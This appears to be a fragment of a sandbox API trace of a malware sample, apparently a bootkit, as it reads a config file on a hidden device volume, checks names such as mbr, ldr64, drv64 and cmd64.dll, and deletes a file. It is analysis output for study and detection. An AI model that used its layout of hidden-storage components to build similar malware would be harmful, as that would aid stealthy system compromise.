[0124.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.661] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.661] KeEnterCriticalRegion () [0124.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] KeLeaveCriticalRegion () [0124.661] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.661] KeEnterCriticalRegion () [0124.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.661] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] KeLeaveCriticalRegion () [0124.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.661] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.661] KeEnterCriticalRegion () [0124.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] ExFreePoolWithTag (P=0xfffffa8003bf24a0, Tag=0x0) [0124.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] KeLeaveCriticalRegion () [0124.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.661] ReleaseMutex (hMutex=0xf0) returned 1 [0124.661] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.661] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.661] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.661] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.662] KeEnterCriticalRegion () [0124.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.662] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.662] IdePortDispatch () returned 0x103 [0124.663] KeWaitForMutexObject () returned 0x0 [0124.663] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.663] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.663] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.663] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.663] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.663] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.663] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.663] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.663] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.663] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.663] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.663] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.663] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.663] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.663] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.663] KeLeaveCriticalRegion () [0124.663] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.664] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.664] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.664] KeEnterCriticalRegion () [0124.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.664] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.664] IdePortDispatch () returned 0x103 [0124.664] KeWaitForMutexObject () returned 0x0 [0124.664] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.664] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.664] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.664] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.664] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.664] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.664] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.664] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.664] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.664] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.664] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.664] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.664] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.664] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.664] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.664] KeLeaveCriticalRegion () [0124.664] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.664] ReleaseMutex (hMutex=0x100) returned 1 [0124.664] Sleep (dwMilliseconds=0x2bf20) [0124.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d8204d0, dwHighDateTime=0x1d24fa4)) [0124.671] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.671] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.671] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.671] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.671] KeEnterCriticalRegion () [0124.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.671] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.671] IdePortDispatch () returned 0x103 [0124.671] KeWaitForMutexObject () returned 0x0 [0124.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.671] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.671] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.671] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.671] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.671] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1490 [0124.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.671] KeLeaveCriticalRegion () [0124.671] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.671] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.671] KeEnterCriticalRegion () [0124.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.672] KeLeaveCriticalRegion () [0124.672] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.672] KeEnterCriticalRegion () [0124.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.672] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.672] IdePortDispatch () returned 0x103 [0124.672] KeWaitForMutexObject () returned 0x0 [0124.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.672] KeLeaveCriticalRegion () [0124.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.672] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.672] KeEnterCriticalRegion () [0124.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800359c000 [0124.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.672] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.672] IdePortDispatch () returned 0x103 [0124.672] KeWaitForMutexObject () returned 0x0 [0124.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.673] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.673] IdePortDispatch () returned 0x103 [0124.673] KeWaitForMutexObject () returned 0x0 [0124.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.673] KeLeaveCriticalRegion () [0124.673] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.673] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.673] KeEnterCriticalRegion () [0124.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.673] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.673] KeLeaveCriticalRegion () [0124.673] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.673] KeEnterCriticalRegion () [0124.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.673] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.673] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.673] KeLeaveCriticalRegion () [0124.673] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.674] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.674] KeEnterCriticalRegion () [0124.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.674] ExFreePoolWithTag (P=0xfffffa8003bf1490, Tag=0x0) [0124.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.674] KeLeaveCriticalRegion () [0124.674] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.674] ReleaseMutex (hMutex=0xf0) returned 1 [0124.674] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.674] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.674] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.674] KeEnterCriticalRegion () [0124.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.674] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.674] IdePortDispatch () returned 0x103 [0124.674] KeWaitForMutexObject () returned 0x0 [0124.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.674] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.674] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.674] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.674] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.674] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3fb0 [0124.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.674] KeLeaveCriticalRegion () [0124.674] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.674] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.674] KeEnterCriticalRegion () [0124.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.674] KeLeaveCriticalRegion () [0124.674] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.674] KeEnterCriticalRegion () [0124.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.675] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.675] IdePortDispatch () returned 0x103 [0124.675] KeWaitForMutexObject () returned 0x0 [0124.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.675] KeLeaveCriticalRegion () [0124.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.675] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.675] KeEnterCriticalRegion () [0124.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800359d000 [0124.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.675] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.675] IdePortDispatch () returned 0x103 [0124.675] KeWaitForMutexObject () returned 0x0 [0124.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.675] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.675] IdePortDispatch () returned 0x103 [0124.676] KeWaitForMutexObject () returned 0x0 [0124.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] KeLeaveCriticalRegion () [0124.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.676] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.676] KeEnterCriticalRegion () [0124.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] KeLeaveCriticalRegion () [0124.676] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.676] KeEnterCriticalRegion () [0124.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.676] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf20e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] KeLeaveCriticalRegion () [0124.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.676] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.676] KeEnterCriticalRegion () [0124.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] ExFreePoolWithTag (P=0xfffffa8003bf3fb0, Tag=0x0) [0124.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.676] KeLeaveCriticalRegion () [0124.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.677] ReleaseMutex (hMutex=0xf0) returned 1 [0124.677] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.677] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.677] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.677] KeEnterCriticalRegion () [0124.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.677] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.677] IdePortDispatch () returned 0x103 [0124.677] KeWaitForMutexObject () returned 0x0 [0124.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.677] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.677] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.677] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.677] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.677] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.677] KeLeaveCriticalRegion () [0124.677] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.677] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.677] KeEnterCriticalRegion () [0124.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.677] KeLeaveCriticalRegion () [0124.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.677] KeEnterCriticalRegion () [0124.677] 